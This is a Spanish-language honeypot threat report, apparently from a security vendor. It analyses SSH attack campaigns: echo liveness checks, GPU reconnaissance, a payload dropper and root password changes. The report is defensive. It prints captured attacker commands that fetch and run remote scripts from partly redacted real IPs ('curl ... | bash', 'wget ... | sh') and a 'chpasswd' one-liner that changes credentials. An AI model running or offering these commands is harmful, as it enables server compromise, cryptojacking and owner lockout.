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CAPITULO 1

El primer comando del scanner: por qué todo
ataque SSH empieza con echo

El primer comando de un ataque SSH no roba nada. No descarga nada.
Solo pregunta: ¢hay alguien ahi? Y la respuesta que recibe decide todo
lo demas. 12.358 veces en tres dias.

Sesiones SSH totales
90.596

SESIONES SSH TOTALES

431

IPS ATACANTES

12.358

COMANDOS ECHO

14%

DEL TOTAL DE COMANDOS

El test de vida automatico

Autenticar es facil — el atacante tiene diccionarios y tiempo. Lo que no tiene es certeza sobre lo que
hay al otro lado. La sesion puede ser un shell real, un honeypot, un servidor que acepta conexiones
pero bloquea comandos, 0 un entorno con output desactivado. El scanner resuelve esa incertidumbre
antes de enviar sus instrucciones reales. Lo hace con el comando mas simple que existe.

$ echo test

$ echo 1
$ echo -e '\x41\x42\x43'
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La tercera variante es la mas reveladora. echo -e '\x41\x42\x43' imprime "ABC" — pero lo hace via
secuencias hex, no texto literal. El propdsito no es ocultar el contenido (ABC no necesita ocultarse), sino
verificar que el shell interpreta correctamente las secuencias de escape. Eso es informacion tactica: si
el shell procesa -e con escape sequences, el atacante sabe exactamente con qué entorno esta
trabajando.

La puerta que filtra sesiones

Si el echo devuelve el texto esperado, el scanner pasa a la siguiente fase — en esta campana, el GPU
hunter. Si no hay respuesta o el output es inesperado, la sesion se descarta. Esto explica por qué una
parte significativa de sesiones termina sin ningun comando adicional: el eco no respondié como
esperaba el script, y el automatismo siguio con el siguiente objetivo.

ECHO COMO PRIMER ESLABON DE LA CADENA

En las sesiones analizadas, el echo siempre precede al bloque de reconocimiento de hardware.
La secuencia completa, en sesiones que llegaron a fase 2:

echo test - 1lspci | grep VGA - nvidia-smi -g -> uname -s -v -n -r -m

El echo actua como semaforo: verde, continua; sin respuesta, descarta. Es el coste mas bajo
posible para no malgastar el resto del script en un entorno indtil. El patron completo del GPU
hunter que viene después esta analizado en detalle en el articulo anterior de esta serie.

Por qué esta firma importa

El echo como liveness check no es exclusivo de esta campafa — es un patron universal en tooling SSH
automatizado. Cualquier script que necesite verificar que tiene un shell funcional antes de continuar lo
usa. Eso lo convierte en una firma de comportamiento mas fiable que la IP de origen o el User-Agent del
cliente SSH. Una IP rota es reemplazable en minutos; el protocolo de comportamiento del script cambia
mucho mas despacio.

Lo que diferencia esta campafa de un scanner genérico es la secuencia posterior. El echo solo tiene
valor si lo que viene después es deliberado — y en este caso lo es: GPU hunter apuntando a
infraestructura con aceleradores graficos. El echo es la primera linea del guion; el resto del guion revela
la intencion.

Deteccidon —y sus limites

El echo en si no es una sefal de alarma — es un comando legitimo. La firma es el contexto: un echo
inmediatamente tras autenticacion, sin ningin comando legitimo previo, es comportamiento de script,
no de humano.

Alerta sobre echo -e con secuencias hex en sesiones SSH: echo -e '\xNN\xNN' inmediatamente tras
autenticacion no tiene ningun uso legitimo de administracion. Es tooling automatizado.

Correlaciona echo con lo que viene después: un echo aislado sin comandos posteriores (sesion que
termina en 2-3 segundos) es un scanner descartando el objetivo. Un echo seguido de 1lspci 0 nvidia-
smi es un GPU hunter en fase de reconocimiento.

Monitoriza la duracion de sesion: sesiones que terminan en menos de 5 segundos con solo 1-2
comandos son scanners, no administradores. Agrupar estas sesiones por IP revela automaticamente la
infraestructura del atacante.
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« Fail2ban con umbral bajo para sesiones ultra-cortas: un cliente que se conecta, ejecuta un echoy
desconecta en 3 segundos es indistinguible de un scanner. Banear IPs con ese patron repetido reduce
el ruido del log sin impacto en usuarios legitimos.

LIMITACION IMPORTANTE

La variante echo -e '\x41\x42\x43' es detectable porque usa secuencias hex. La variante
simple — echo 1 — es indistinguible de uso legitimo. Ninguna regla de alerting la captura sin
falsos positivos masivos.

Lo que si detecta ambas variantes: comportamiento de sesion. Un servidor que introduce latencia
artificial en los primeros 200ms, o devuelve output ligeramente distinto al esperado, puede hacer
que el scanner descarte el objetivo sin que sepa por qué. La defensa pasiva cubre donde falla la
deteccion activa.

El echo no tiene secretos. No exfiltra datos, no instala nada, no abre puertos. Es solo una pregunta: ;hay
alguien ahi? La respuesta que recibe determina si tu servidor va a recibir el resto del ataque. La sefal
vale su peso en oro precisamente porque es tan barata de enviar: si el atacante se molesta en hacer la
pregunta, es porque lo que viene después importa.

honeypot CipherSentry - 2026-06-26 a 2026-06-28
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CAPITULO 2

XMRig en modo stealth: como los mineros evitan
deteccion en 2026

El cryptomining no-autorizado no llega de forma ruidosa. Lo que
captamos en nuestro honeypot es un proceso de dos fases: primero
verifican silenciosamente que la maquina tiene GPU. Solo entonces
instalan el minero.

Sesiones GPU hunter

18.276

SESIONES GPU HUNTER

10.915

INTENTOS CON "SOL"

2.555

EVASIONES /BIN/./UNAME

3

PAYLOAD URLS

La anatomia del GPU hunter

Antes de instalar cualquier minero, el atacante necesita saber si la inversion vale la pena. Un servidor
sin GPU mina monero a una fraccion del hashrate de uno con GPU. El primer objetivo, por tanto, es el
reconocimiento de hardware — y hacerlo sin levantar alertas.

La secuencia que observamos en 18.276 sesiones es idéntica en todas ellas — la firma de un script
automatizado:

$ 1lspci | grep VGA | cut -f5- -d ' '

$ lspci | grep VGA -c
$ 1lspci | grep "3D controller" | cut -f5- -d '

CipherSentry S.L. - ciphersentry.yoire.com - hello@ciphersentry.yoire.com 6/17



nvidia-smi -q | grep "Product Name" | head -n 1 | awk '{print $4, $5, $6, $7, $8}'

/bin/./uname -s -v -n -r -m
uptime -p

nproc

Técnica de evasion: path traversal en uname

El uso de /bin/./uname en lugar de uname es un detalle técnico con propésito claro. El punto ( . ) en
medio de una ruta absoluta es un elemento de directorio que referencia el directorio actual — en este
contexto, es ignorado por el kernel. El resultado es exactamente el mismo que uname .

El valor esta en la firma string: una regla de deteccidon que busca el literal uname en los logs de
comandos podria no capturar /bin/./uname sila implementacién no normaliza paths antes de
comparar.

FRECUENCIA OBSERVADA

2.555 ejecuciones de /bin/./uname versus 33.548 de uname directo. La técnica se usa en
sesiones especificas — no es universal en la campana, lo que sugiere herramientas distintas o
configuraciones diferentes del mismo scanner.

El vinculo con credenciales crypto

La campana GPU hunter y el diccionario de credenciales orientado a Solana no son coincidencia. Los
operadores de nodos Solana frecuentemente usan servidores con GPU para acelerar operaciones de
validacion. Un servidor comprometido de un validator Solana ofrece doble valor:

GPU para mineria: hashrate inmediato para XMRig u otros mineros

Acceso a claves de validador: potencial robo de stake o comisiones de validacion

Acceso a fondos hot-wallet: traders y validators frecuentemente tienen wallets conectados al servidor

El intento de payload

En seis ocasiones durante el periodo de observacion, las sesiones intentaron descargar un script
externo, repartidas en tres destinos distintos. Ninguno llegé a ejecutarse:

PAYLOAD URLS CAPTURADAS

A\ URLs defangeadas (hxxp). Artefactos forenses — no acceder ni reconstruir.

http://151.242.[REDACTED].40/1loader.sh — IP directa sin resolucion DNS. 684 bytes
capturados en el entorno aislado del honeypot; la ejecucion fue bloqueada.

http://197.255. [REDACTED].88:1987/favico.ico — puerto alto y nombre sefiuelo (un favicon
falso). Exactamente 684 bytes, el mismo tamano que el anterior: el mismo payload servido desde
un segundo host.

http://31.172.[REDACTED].45/mot — 2 intentos, O bytes recibidos. La descarga fallé o fue
bloqueada en origen.
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Como detectar GPU hunters en tu infraestructura

Las senales de deteccidn son claras y poco costosas de implementar:

o Alerta sobre nvidia-smi 0 lspci enlogs SSH: ningun script legitimo de mantenimiento necesita
ejecutar estos comandos via SSH inmediatamente al autenticarse.

o Detecta el cliente SSH-2.0-Go : si tu infraestructura no tiene aplicaciones internas escritas en Go que se
conecten por SSH, cualquier conexién con ese fingerprint es sospechosa.

* Monitoriza descargas con wget o curl alPs directas: URLs del tipo hxxp://1[.12[.13[.14/sh son
distribuidores de payload, no trafico legitimo.

 Bloquea IPs con multiples intentos de credenciales fallidos: fail2ban con umbral de 5-10 intentos por
IP en 60 segundos cubre la mayoria de estos escaneos.

honeypot CipherSentry
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CAPiTULO 3

Dropper en produccion: analisis de loader.sh y el
payload que no se ejecuto

En los tres dias de observacion, el honeypot capturé seis intentos de
descarga de payload externo a tres destinos. Todos fracasaron — pero
el proceso de descarga quedo registrado, y con él, detalles sobre la
infraestructura del dropper.

3 URLs de payload

URLS DE PAYLOAD

6

INTENTOS DE DESCARGA

259

INTENTOS DE EJECUCION

0]

BYTES EJECUTADOS

Las tres URLs de payload

Durante el periodo de analisis, el honeypot registré intentos de descarga a exactamente tres destinos
externos, los tres a IP directa y sin cifrar. El comportamiento difiere entre ellos:

URL #1 — IP DIRECTA SIN DNS
http://151.242.[REDACTED].40/loader.sh

1download_attempt + 1 download registrado. La URL apunta directamente a una IP, sin nombre
de dominio. El uso de IP directa evita la resolucion DNS — sin logs de DNS, sin deteccion por
bloqueo de dominios maliciosos. El nombre 1loader.sh es tipico de droppers de primera fase: un
script shell que instala el payload real.
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Contenido recibido: 684 bytes capturados en el entorno aislado. El payload se almaceno pero la
ejecucion fue bloqueada: 0 bytes ejecutados en el host real.

URL #2 — EL MISMO PAYLOAD DESDE UN SEGUNDO HOST
http://197.255. [REDACTED].88:1987/favico.ico

1 download_attempt + 1 download registrado. Se sirve en un puerto alto (1987) y con un nombre
seiuelo — favico.ico imita un favicon para pasar por trafico inofensivo, pero su contenido es
un script. HTTP sin TLS: el payload viaja sin cifrar.

El detalle revelador: 684 bytes exactos, el mismo tamano que loader.sh . Es el mismo payload
servido desde dos IPs distintas — redundancia de hosting: si una cae o se bloquea, la otra sigue
sirviendo.

URL #3 — EL DESTINO QUE FALLO
http://31.172.[REDACTED].45/mot

2 download_attempt, 0 download: dos intentos, O bytes recibidos. El servidor no respondio o
fue bloqueado en origen. Un recordatorio de que la infraestructura efimera del atacante también
falla — y que cada intento, exitoso o no, queda registrado.

La cadena de descarga: como llego aqui

Los intentos de descarga no ocurrieron de forma aislada. Siguieron al patron GPU hunter documentado:
el atacante primero ejecuta el reconocimiento ( lspci, nvidia-smi ), y solo en sesiones donde la
secuencia completo sin errores, el script pasa a la fase de descarga del payload.

lspci | grep VGA | cut -f5- -d ' '
nvidia-smi -q | grep "Product Name" | head -n 1 | awk '{print $4, $5, $6, $7, $8}'
/bin/./uname -s -v -n -r -m

curl -s http://151.242.[REDACTED].40/1loader.sh | bash

wget -qO0- http://197.255.[REDACTED].88:1987/favico.ico | sh

El patron curl ... | bash es deliberado: descarga y ejecuta en una sola instruccion, sin escribir el
script al disco primero. Esto evita que el binario quede como artefacto forense en el sistema de
archivos.

Los 259 intentos de ejecucion

El honeypot registré 259 eventos de tipo execution_attempt y 547 eventos file_write en la ventana
— el payload descargado se almacena en el entorno aislado antes de intentar ejecutarlo. Ninguna
ejecucion tuvo éxito.
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EVENTO CANTIDAD RESULTADO

file_write (payload almacenado en entorno .. . .
547 Exito — fichero registrado

aislado)

execution_attempt (intento de ejecutar el o5 Ejecucion bloqueada — sin codigo
payload) ejecutado

Bytes ejecutados en el host real 0 El honeypot nunca ejecuta cédigo externo

Qué revela la infraestructura del dropper

Las tres URLs apuntan a IPs directas, sin dominio y sin cifrar. Esa combinacion apunta a una operacion
con infraestructura efimera. Algunas inferencias:

« Tres IPs directas, sin dominio: las tres URLs apuntan a una IP literal, no a un nombre. Evita la resolucién
DNS — sin logs de DNS, sin bloqueo por reputacion de dominio. Son servidores de stage baratos y
reemplazables si se bloquean.

« Redundancia de hosting: loader.sh y favico.ico sirvieron exactamente el mismo payload (684
bytes) desde dos IPs distintas. Es resiliencia deliberada: si una cae, la otra sigue distribuyendo.

o HTTP sin cifrar las tres: el payload viaja en claro. Permite capturarlo en transito con un proxy o IDS con
inspeccién de contenido — pero también indica que los operadores asumen una ventana de distribucion
corta antes de rotar.

* Nombres seiiuelo y puertos altos: favico.ico imita un favicony se sirve en el puerto 1987,
loader.sh y mot usan nombres cortos y opacos. Camuflaje basico para pasar desapercibido en logs
de proxy.

Relacién con la campana GPU hunter

Las sesiones con intentos de descarga son un subconjunto de las sesiones GPU hunter. El dropper solo
se activa cuando el reconocimiento de hardware devuelve un resultado positivo — confirma que la
campana esta optimizando el ratio de infecciones utiles sobre intentos totales.

En términos econdmicos: la descarga del payload tiene un coste (trafico, exposicién de la URL del
dropper). El reconocimiento previo asegura que ese coste solo se incurre en maquinas con GPU — las
Unicas que justifican la instalacién de XMRig.

Deteccidn y contencion

Las senales de deteccidn para esta fase son mas especificas que el GPU hunter:

* Bloquea el patron curl ... | bash y wget ... | sh :ningun script legitimo de mantenimiento
necesita descargar y ejecutar en una sola instruccion durante una sesion SSH.

+ Monitoriza conexiones salientes HTTPS a IPs directas: hxxps://1[.12[.13[.14/ruta — sin hostname,
solo IP — es una firma de dropper. El firewall de salida debe bloquear HTTPS a IPs que no tengan
entrada DNS reversa conocida.

« Alerta sobre escrituras en /tmp seguidas de ejecucion: el patron write-then-execute en directorios
temporales es la firma forense del dropper. auditd con reglas sobre execve enrutas /tmp/* lo
captura.

» Aihade los IOCs a tus listas de bloqueo: las tres |IPs de esta campafa ( 151.242. [REDACTED] .40 ,

197.255. [REDACTED].88 , 31.172.[REDACTED].45 ) son artefactos reales. Introducelas en tu proxy de
filtrado y en tus reglas de salida para neutralizar la descarga antes de que ocurra.
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Datos recopilados con fines de investigacion en ciberseguridad. Toda la informacion procede de actividad no solicitada registrada en
infraestructura propia.

Fuente: honeypot CipherSentry - Autor: Pablo Cortés
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CAPIiTULO 4

La cerradura que cambian sin que te des cuenta

Cambiar la contrasena de root no deja binarios. No abre puertos. No
instala servicios. Es mas peligroso que instalar malware porque no hay
nada que escanear — y la mayoria de servidores no avisan cuando
ocurre. 21 atacantes reales lo intentaron en tres dias.

Sesiones SSH totales
90.596

SESIONES SSH TOTALES

431

IPS ATACANTES

21

INTENTOS PASSWD

El comando que delata la intencion

Hay comandos que cambian de significado dependiendo de quién los ejecuta. passwd en manos de un
administrador es rutina. En manos de un atacante recién autenticado, es una declaracion: no vine a
robar datos, vine a quedarme. La diferencia entre reconocimiento y persistencia cabe en tres
comandos.

$ uname -a
$ id

$ passwd

El uname y el id son reconocimiento de ultimo segundo — confirmar que el servidor es Linux y que se
tiene acceso root. Luego, directamente, passwd . Sin exploracion, sin descargas, sin comandos de
exfiltracion. El guion es corto porque el objetivo es simple.
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Por qué es mas peligroso que instalar malware

El detalle técnico que lo hace dificil de detectar: passwd no escribe ningun fichero en rutas inusuales,
no abre puertos de red, no crea procesos nuevos. Los escaneres de malware buscan artefactos —
binarios sospechosos, entradas en crontab, servicios instalados. Un cambio de contrasefa no deja
ninguno de esos rastros.

» Bloqueo del propietario: si el cambio tiene éxito, el administrador legitimo pierde acceso por
contrasefa. Las claves SSH siguen funcionando — pero si el servidor solo tiene password auth, el
propietario queda fuera.

« Persistencia sin artefactos: no hay fichero que escanear, no hay proceso que matar, no hay entrada de
crontab que eliminar. La Unica huella es en /etc/shadow , y solo si sabes buscarla.

« Indicador de compromiso definitivo: encontrar la contrasefa root cambiada sin que ningun
administrador lo haya hecho no es ambiguo. Alguien estuvo alli.

Lo que el honeypot vio — y el atacante no

RESULTADO EN EL HONEYPOT

El honeypot acepta el passwd con normalidad: muestra el prompt de cambio, el atacante
introduce la nueva contrasefa, recibe confirmacion. Todo parece funcionar.

El cambio queda registrado — pero no persiste en el sistema real. El honeypot devuelve
confirmacidn al atacante; en la siguiente sesion, las credenciales originales siguen siendo
validas. La firma queda en el log, no en el sistema.

Deteccion
Las senales son claras. El problema es que requieren logging activo — la mayoria de servidores no
alertan sobre ejecuciones de passwd por defecto.
o Alerta sobre passwd en sesiones SSH: ningun script legitimo de CI/CD ejecuta passwd . Si el comando
aparece en logs de una sesion interactiva SSH, es una alerta de nivel alto.
e Cubre también chpasswd y usermod -p : un atacante con acceso a shell puede cambiar credenciales
sin prompt interactivo: echo 'root:nueva' | chpasswd no genera el mismo patrén de sesion que
passwd . La Unica deteccion fiable es a nivel de sistema de ficheros — no de comportamiento de sesion.
o Autenticacion solo por clave: si PasswordAuthentication no esta en /etc/ssh/sshd_config , cambiar
la contrasefa root no le da acceso adicional a nadie que no tenga ya la clave privada.
La unica defensa que cubre todas las variantes — passwd , chpasswd , usermod -p — es monitorizar el
fichero directamente. Dos lineas de auditd en Debian/Ubuntu:

-w /etc/shadow -p wa -k passwd_change
-w /etc/passwd -p wa -k passwd_change

$ augenrules --load

$ ausearch -k passwd_change -i | tail -20
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Esta regla registra cualquier modificacién del fichero de contrasenas independientemente del método
empleado. No importa si el atacante usod passwd interactivo, chpasswd desde script, 0 usermod : si tocé
/etc/shadow , auditd lo vio.

El comando passwd no deja binarios. No abre puertos. No instala servicios. Lo que deja es silencio —y
el silencio, en ciberseguridad, es la senal mas dificil de detectar. La diferencia entre un sistema
comprometido y uno limpio cabe en un campo de /etc/shadow . Ese campo no tiene alarma por
defecto. Ahora puede tenerla.

honeypot CipherSentry - 2026-06-26 a 2026-06-28
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DESPLIEGA UN SENSOR EN 2 MINUTOS

$ curl -fsSL https://ciphersentry.yoire.com/install.sh | bash

$ ./node.sh enroll # vincula el nodo a tu cuenta
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FREE STARTER PRO ENTERPRISE
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